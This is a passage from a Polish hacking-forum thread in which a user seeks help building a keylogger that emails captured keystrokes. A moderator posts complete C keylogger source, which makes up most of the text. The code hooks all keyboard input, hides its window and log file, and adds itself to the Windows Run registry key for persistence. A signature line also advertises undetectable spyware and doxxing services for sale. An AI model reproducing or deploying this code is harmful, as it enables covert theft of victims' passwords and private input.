spykey

Temat: Keylogger w C++ Prosze o pomoc lub innym PROGRAMIE

Strona 2 z 2 PierwszyPierwszy 12
Pokaz wyniki od 16 do 29 z 29
  1. #16  
    Użytkownik Avatar Malwis
    Dołączył
    30-03-2015
    Posty
    18
    [QUOTE=Dark Smark;159985]Kodów się nie kopiuje, kody się analizuje i uczy się z nich jak coś działa.

    Umiesz czytac z zrozumieniem ????? Chyba nie wiec nie dodawaj 5 groszy
     

  2. #17  
    Użytkownik
    Dołączył
    05-02-2015
    Posty
    56
    Jak chcesz się uczyć C++ to mam na sprzedaż oba tomy "Symfonii C++ Standard" Jerzego Grębosza za 50zł+przesyłka.

    @offtop:
    Cytat Napisał Malwis Zobacz post
    Jestem po 2 latach ICT ale nie powiedzialam ze mam z tego GCSE ? Tak jestem ladna i robie prowokacje
    I chyba masz spuchnięte ego.

    Cytat Napisał Malwis
    Umiesz czytac z zrozumieniem ????? Chyba nie wiec nie dodawaj 5 groszy
    Nie sądzę że startowanie do moderatora będącego na forum od 9 lat i zarzucanie mu że nie umie czytać ze zrozumieniem to dobry pomysł.
    GG: 52812105 || Niewykrywalne przez antywirusy oprogramowanie szpiegowskie na sprzedaż.
    Pisanie programów .NET i natywnych, tworzenie stron internetowych i grafiki na zlecenie,
    pozyskiwanie danych osobowych na podstawie innych unikalnych danych (np. nick). (c) de0x
     

  3. #18  
    Użytkownik Avatar Malwis
    Dołączył
    30-03-2015
    Posty
    18
    Ty sie chwalisz czy zalisz ? Bo ja nie wiem. Moze probujesz mnie wyrwac na moderatora? Eybacz ale ci sie nie uda i nie startuje do ciebie tylko odpowiadam ci tak jak innym nie bedzie ulgi bo moderatorem jestes
     

  4. #19  
    Użytkownik Avatar maxxer
    Dołączył
    16-09-2014
    Posty
    70
    Daj zdjęcie potwierdzające to dam ci fajnego keya.
    Dox napisał o DarkSmarku, to ty czytaj ze zrozumieniem.
     

  5. #20  
    Moderator
    Dołączył
    29-04-2006
    Posty
    2 509
    Cytat Napisał Malwis Zobacz post
    I tak sa kody ale ja nie chce skopiowac i wklejic sobie zapisac i koniec a na google tak sa tutoriale i jest wiele ludzi co tlumaczy ale kazdy mowi co innego i to sie ze soba nie zgadza wiec czemu mam sie uczyc blednych kodow gdy moge wejsc tu

    Cytat Napisał Dark Smark Zobacz post
    Kodów się nie kopiuje, kody się analizuje i uczy się z nich jak coś działa.
    Najpierw naucz się języka programowania np: z książki, potem analizuj kody źródłowy. Jak sobie to wyobrażasz? Programiści myślisz, że projektują oprogramowanie bazując na tutorialach? Nie do końca. Naucz języka, analizuj kody, w dokumentacji masz opisana każda funkcja której nie rozumiesz (GWARANTUJE, ŻE DOKUMENTACJA/API NIE KŁAMIE i szukaj rozwiązań na stackoverflow).

    Co do EGO to w razie czego pokażę jak wygląda książka:
    ksiazki[0].jpg
     

  6. #21  
    Zbanowany
    Dołączył
    22-06-2014
    Posty
    66
    Toż się rozpętała gównoburza
     

  7. #22  
    Użytkownik Avatar Malwis
    Dołączył
    30-03-2015
    Posty
    18
    Nic sie nie rozpetalo bo juz mnie keylogger nie interesuje bo za malo osob w Polsce umie je pisac bo wiekszosc nawet czytac nie umie. Gdybym sie urodzila w USA wieksze mozliwosci bym miala bo tam sa najlepsi hakerzy a polacy tylko sie chwala czyms czego nawet nie pottrafia przykladow na tym forum jest pelno
     

  8. #23  
    Moderator
    Dołączył
    29-04-2006
    Posty
    2 509
    Kod:
    #include #include 
    #include 
    
    // function to check caps lock
    int isCapsLock()
    {
         if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)
            return 1;
         else
            return 0;    
    }
    
    /* An application-defined callback function used with the SetWindowsHookEx function.
       The system calls this function every time a new keyboard input event is about to be posted into a thread input queue.
       1st Parameter  nCode - A code the hook procedure uses to determine how to process the message.
       2nd Parameter wParam - The identifier of the keyboard message. This parameter can be one of the
       following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP. 
       3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure. 
    */
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        /* This structure contains information about a low-level keyboard input like virtual code, scan code, flags,
           time stamp and additional information associated with the message.
        */
        KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
        FILE *file;
        char val[5];
        DWORD dwMsg = 1;
        file=fopen("C:\\EventLog.log","a+");
        switch (wParam)
        {
               
            case WM_KEYDOWN: // When the key has been pressed. Changed from WM_KEYUP to catch multiple strokes.
            {
                // Assign virtual key code to local variable
                DWORD vkCode = pKeyBoard->vkCode;
        
                if ((vkCode>=39)&&(vkCode<=64)) // Keys 0-9
                {
    
                    if (GetAsyncKeyState(VK_SHIFT)) // Check if shift key is down (fairly accurate)
                    {
                        switch (vkCode) // 0x30-0x39 is 0-9 respectively
                        {
                        case 0x30:
                            fputs(")",file);
                            break;
                        case 0x31:
                            fputs("!",file);
                            break;
                        case 0x32:
                            fputs("@",file); 
                            break;
                        case 0x33:
                            fputs("#",file);  
                            break;
                        case 0x34:
                            fputs("$",file);   
                            break;
                        case 0x35:
                            fputs("%",file);  
                            break;
                        case 0x36:
                            fputs("^",file);  
                            break;
                        case 0x37:
                            fputs("&",file);  
                            break;
                        case 0x38:
                            fputs("*",file);  
                            break;
                        case 0x39:
                            fputs("(",file);  
                            break;
                        }
                    }
                    else // If shift key is not down
                    {
                       sprintf(val,"%c",vkCode);
                       fputs(val,file);  
                    }
                }
                else if ((vkCode>64)&&(vkCode<91)) // Keys a-z
                {
                    /*
                    The following is a complicated statement to check if the letters need to be switched to lowercase.
                    Here is an explanation of why the exclusive or (XOR) must be used.
                    
                    Shift   Caps    LowerCase    UpperCase
                    T       T       T            F
                    T       F       F            T
                    F       T       F            T
                    F       F       T            F
                    
                    The above truth table shows what case letters are typed in,
                    based on the state of the shift and caps lock key combinations.
                    
                    The UpperCase column is the same result as a logical XOR.
                    However, since we're checking the opposite in the following if statement, we'll also include a NOT operator (!)
                    Becuase, NOT(XOR) would give us the LowerCase column results.
                    
                    There's your lesson in logic if you didn't understand the next statement. Hopefully that helped.
                    
                    --Dan
                    */
                    if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())) // Check if letters should be lowercase
                    {
                        vkCode+=32; // Un-capitalize letters
                    }
                    sprintf(val,"%c",vkCode);
                    fputs(val,file);  
                }
                else
                {
                    switch (vkCode) // Check for other keys
                    {
                        case VK_SPACE:
                            fputs(" ",file);
                            break;
                        case VK_LCONTROL:
                        case VK_RCONTROL:
                            fputs("[Ctrl]",file);
                            break;
                        case VK_LMENU:
                        case VK_RMENU:
                            fputs("[Alt]",file);
                            break;
                        case VK_INSERT:
                            fputs("[Insert]",file);
                            break;
                        case VK_DELETE:
                            fputs("[Del]",file);
                            break;
                        case VK_NUMPAD0:
                            fputs("0",file);
                            break;
                        case VK_NUMPAD1:
                            fputs("1",file);
                            break;
                        case VK_NUMPAD2:
                            fputs("2",file);
                            break;
                        case VK_NUMPAD3:
                            fputs("3",file);
                            break;
                        case VK_NUMPAD4:
                            fputs("4",file);
                            break;
                        case VK_NUMPAD5:
                            fputs("5",file);
                            break;
                        case VK_NUMPAD6:
                            fputs("6",file);
                            break;
                        case VK_NUMPAD7:
                            fputs("7",file);
                            break;
                        case VK_NUMPAD8:
                            fputs("8",file);
                            break;
                        case VK_NUMPAD9:
                            fputs("9",file);
                            break;
                        case VK_OEM_2:
                            if (GetAsyncKeyState(VK_SHIFT))
                                 fputs("?",file);
                            else
                                 fputs("/",file);
                            break;
                        case VK_OEM_3:
                            if (GetAsyncKeyState(VK_SHIFT))
                                 fputs("~",file);
                            else
                                 fputs("`",file);
                            break;
                        case VK_OEM_4:
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs("{",file);
                             else
                                fputs("[",file);
                             break;
                        case VK_OEM_5:
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs("|",file);
                             else
                                fputs("\\",file);
                             break;
                        case VK_OEM_6:
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs("}",file);
                             else
                                fputs("]",file);
                             break;
                        case VK_OEM_7:
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs("\\",file);
                             else
                                fputs("'",file);
                             break;
                        case VK_LSHIFT:
                        case VK_RSHIFT:
                            // do nothing;
                            break;
                        case 0xBC:                //comma       
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs("<",file);
                             else
                                fputs(",",file);
                             break;
                        case 0xBE:              //Period
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs(">",file);
                             else
                                fputs(".",file);
                             break;
                        case 0xBA:              //Semi Colon same as VK_OEM_1
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs(":",file);
                             else
                                fputs(";",file);
                             break;
                        case 0xBD:              //Minus
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs("_",file);
                             else
                                fputs("-",file);
                             break;
                        case 0xBB:              //Equal
                             if(GetAsyncKeyState(VK_SHIFT))
                                fputs("+",file);
                             else
                                fputs("=",file);
                             break;
                        default: 
                                 
                            /* For More details refer this link http://msdn.microsoft.com/en-us/library/ms646267            
                               As mentioned in document of GetKeyNameText http://msdn.microsoft.com/en-us/library/ms646300
                               Scon code is present in 16..23 bits therefor I shifted the code to correct position
                               Same for Extended key flag         
                            */
                            dwMsg += pKeyBoard->scanCode << 16;
                            dwMsg += pKeyBoard->flags << 24;
            
                            char key[16];
                            /* Retrieves a string that represents the name of a key. 
                               1st Parameter dwMsg contains the scan code and Extended flag
                               2nd Parameter lpString: lpszName - The buffer that will receive the key name. 
                               3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character
                               If the function succeeds, a null-terminated string is copied into the specified buffer,
                               and the return value is the length of the string, in characters, not counting the terminating null character.
                               If the function fails, the return value is zero.  
                            */
                            GetKeyNameText(dwMsg,key,15);
                            fputs(key,file);            
                    }
                }
            }
            default:
                          
                fclose(file);
                /* Passes the hook information to the next hook procedure in the current hook chain.
                     1st Parameter hhk - Optional
                     2nd Parameter nCode - The next hook procedure uses this code to determine how to process the hook information.
                     3rd Parameter wParam - The wParam value passed to the current hook procedure.
                     4th Parameter lParam - The lParam value passed to the current hook procedure
                */
                return CallNextHookEx( NULL, nCode, wParam, lParam );
        }
         fclose(file);
        return 0;    
    }
       
    // Function called by main function to install hook
    DWORD WINAPI KeyLogger(LPVOID lpParameter)
    {
    
        HHOOK hKeyHook;  
        /* Retrieves a module handle for the specified module. 
           parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).
           If the function succeeds, the return value is a handle to the specified module.
           If the function fails, the return value is NULL. 
        */
        HINSTANCE hExe = GetModuleHandle(NULL);
        
        if(hExe == NULL)
        {
           return 1;           
        }
        else
        {
            /*Installs an application-defined hook procedure into a hook chain
              1st Parameter idHook: WH_KEYBOARD_LL - The type of hook procedure to be installed
              Installs a hook procedure that monitors low-level keyboard input events. 
              2nd Parameter lpfn: LowLevelKeyboardProc - A pointer to the hook procedure.
              3rd Parameter hMod: hExe - A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
              4th Parameter dwThreadId: 0 - the hook procedure is associated with all existing threads running
              If the function succeeds, the return value is the handle to the hook procedure.
              If the function fails, the return value is NULL.
            */
             hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc, hExe, 0);
             /*Defines a system-wide hot key of alt+ctrl+9
               1st Parameter hWnd(optional) :NULL - A handle to the window that will receive hot key message generated by hot key.
               2nd Parameter id:1 - The identifier of the hot key
               3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL -  The keys that must be pressed in combination with the key
               specified by the uVirtKey parameter in order to generate the WM_HOTKEY message. 
               4th Parameter vk: 0x39(9) - The virtual-key code of the hot key
             */
             RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0x39);
             
             MSG msg; 
             // Message loop retrieves messages from the thread's message queue and dispatches them to the appropriate window procedures. 
             // For more info http://msdn.microsoft.com/en-us/library/ms644928%28v=VS.85%29.aspx#creating_loop
             //Retrieves a message from the calling thread's message queue.
             while (GetMessage(&msg, NULL, 0, 0) != 0)
             {
                   // if Hot key combination is pressed then exit
                   if (msg.message == WM_HOTKEY)
                   {
                      UnhookWindowsHookEx(hKeyHook);                
                      return 0;
                   }
                   //Translates virtual-key messages into character messages. 
                   TranslateMessage(&msg);
                   //Dispatches a message to a window procedure.
                   DispatchMessage(&msg);       
             }
    
             /* To free system resources associated with the hook and removes a hook procedure installed in a hook chain
               Parameter hhk: hKeyHook - A handle to the hook to be removed. 
             */
             UnhookWindowsHookEx(hKeyHook);
        }       
        return 0;
    }
    
    int StartKeyLogging(char* argv[])
    {
        HANDLE hThread;
        DWORD dwThread;
        
        /* CreateThread function Creates a thread to execute within the virtual address space of the calling process.
           1st Parameter lpThreadAttributes:  NULL - Thread gets a default security descriptor.
           2nd Parameter dwStackSize:  0  - The new thread uses the default size for the executable.
           3rd Parameter lpStartAddress:  KeyLogger - A pointer to the application-defined function to be executed by the thread
           4th Parameter lpParameter:  argv[0] -  A pointer to a variable to be passed to the thread
           5th Parameter dwCreationFlags: 0 - The thread runs immediately after creation.
           6th Parameter pThreadId(out parameter): NULL - the thread identifier is not returned
           If the function succeeds, the return value is a handle to the new thread.
        */
        hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID) argv[0], 0, NULL); 
        
        if (hThread)
        {
           //Waits until the specified object is in the signaled state or the time-out interval elapses.         
           return WaitForSingleObject(hThread,INFINITE);
        }
        // if it is Null then exit the main function
        else
        {
           return 1;
         }
    }
    Kod:
    /*  Name: Ayush Anand
      Website: http://www.secsavvy.com
      Date: 27/08/10 22:37
      Description: Main logic of keylogger is taken from Myhook 1.2 beta Open Source Keylogger http://myhook.sourceforge.net/
       I have added following features (or changes)
      * Log file attribute is set to hidden and system
      * Changed the code from C++ to C
      * Added a HotKey Alt+Ctrl+9 to exit the KeyLogger
      * Added Registry entry to auto start the keylogger every time computer boots
      For more details and explanation of code visit http://www.secsavvy.com
      Disclaimer: This program is for Educational Purpose.
    */
    
    #include 
    #include 
    #include
    // If visble = 0 then Keylogger is hidden oe visible =1 then keylogger is visible
    const int VISIBLE = 1;
    
    // Function to hide the window of keylogger
    void ToHide()
    {
         HWND stealth;
         
         /* Retrieves a handle to the top-level window whose class name and window name match the specified strings.
            1st Parmeter lpClassName: ConsoleWindowClass - Class Name
            2nd Parameter lpWindowName: parameter is NULL, all window names match. 
            If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
            If the function fails, the return value is NULL.   
         */
         stealth=FindWindow("ConsoleWindowClass",NULL);
         ShowWindow(stealth,0);
    }
    
    /*
    Its add registry entry to start the keylogger automatic every time computer boot
    */
    void AutoStart()
    {
         FILE *file;
         file = fopen("C:\\EventLog.log","r");
         //If file is not present then keylogger is run first time
         if(file==NULL)
         {
             file=fopen("C:\\EventLog.log","a+");
             //Change the atribute of file to hidden and system type file
             system("attrib +h +s C:\\EventLog.log");
             fclose(file); 
             // Add the registry entry 
             system("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v EventLog /d %windir%\\system32\\KeyLogger.exe /f");
             // Copy the exe to system32 directory
             system("copy /Y KeyLogger.exe %windir%\\system32");
         }     
    }
    int main(int argc, char* argv[])
    {
        
        if(VISIBLE == 0)
            ToHide();         
        AutoStart();     
        StartKeyLogging(argv);
                 
    }
    Źródło: http://www.secsavvy.com/malware/keyl...ogger-tutorial

    Kod tak bogato skomentowany, że za głowę można się złapać. Tak hakerzy piszą keyloggery bo to szczyt umiejetności programistycznych.
     

  9. #24  
    Użytkownik Avatar maxxer
    Dołączył
    16-09-2014
    Posty
    70
    Cytat Napisał maxxer Zobacz post
    Daj zdjęcie potwierdzające to dam ci fajnego keya.
    DD

    Jaaaa.jpg
     

  10. #25  
    Zbanowany
    Dołączył
    20-04-2009
    Posty
    405
    @Dark nie każdy tak pisze Ale mógłbyś to source, gdzieś tu przykleić, nie jest najlepsze ale też i nie do dup* dla początkujących mogło by się przydać jako wzór.
     

  11. #26  
    Moderator
    Dołączył
    29-04-2006
    Posty
    2 509
    @mto9 dobry pomysł ale... szukanie zajęło mi 30 sekund... zdajesz sobie sprawę na multum wtedy pytań JAK TO URUCHOMIĆ, JAK TO SKOMPILOWAĆ, MAM BŁĄD, JAK WYSYŁAĆ NA MAILA, JAK KRAŚĆ STIMA FEJSA. :-(
     

  12. #27  
    Zbanowany
    Dołączył
    20-04-2009
    Posty
    405
    W sumie racja, jeżeli ktoś będzie ogarnięty to sam znajdzie odpowiednie source, a tak to tylko sterta beznadziejnych pytań.
     

  13. #28  
    Użytkownik Avatar Malwis
    Dołączył
    30-03-2015
    Posty
    18
    Moze i znalazles source ale nie jest z wysylaniem na email wiec nie wiem czemu wstawiasz bledna odpowiedz na moje pytanie bo takie source sama moge znalesc i to nie beznadziejne pytania bo z tego co wiem forum jest po to by pomagac ludzia a nie wchodzic na post i pisac rzeczy ktore sie nie przydadza tak byscie tylko wiedzieli
     

  14. #29  
    Moderator
    Dołączył
    29-04-2006
    Posty
    2 509
    Zamykam bo to się śmieszne robi. Wysyłanie na e-mail znalazłem w 10 sekund chociaż nie programuje w C++.
     

Podobne wątki

  1. Keylogger ( Prosze O pomoc )
    Przez punisheroca
    w forum Keyloggers/Stealers
    Odpowiedzi: 3
    Ostatni post / autor: 16-11-2014, 07:53
  2. Adramax Keylogger 4.0.1 prosze o pomoc
    Przez tomaszek3018
    w forum Keyloggers/Stealers
    Odpowiedzi: 1
    Ostatni post / autor: 04-03-2013, 16:36
  3. Problem keylogger delphi 7 Prosze o pomoc
    Przez zajaczek995
    w forum Keyloggers/Stealers
    Odpowiedzi: 6
    Ostatni post / autor: 04-04-2012, 14:48
  4. Keylogger i hasla. Prosze o pomoc.
    Przez ogroz123
    w forum Keyloggers/Stealers
    Odpowiedzi: 4
    Ostatni post / autor: 25-09-2008, 08:07
  5. pomoc przy programie
    Przez Adramelech
    w forum Linux/BSD/Unix
    Odpowiedzi: 6
    Ostatni post / autor: 09-07-2002, 23:49
Tagi dla tego tematu

Zobacz tagi

Uprawnienia
  • Nie mozesz zakładać nowych tematów
  • Nie mozesz pisać wiadomosci
  • Nie mozesz dodawać załączników
  • Nie mozesz edytowac swoich postów
  •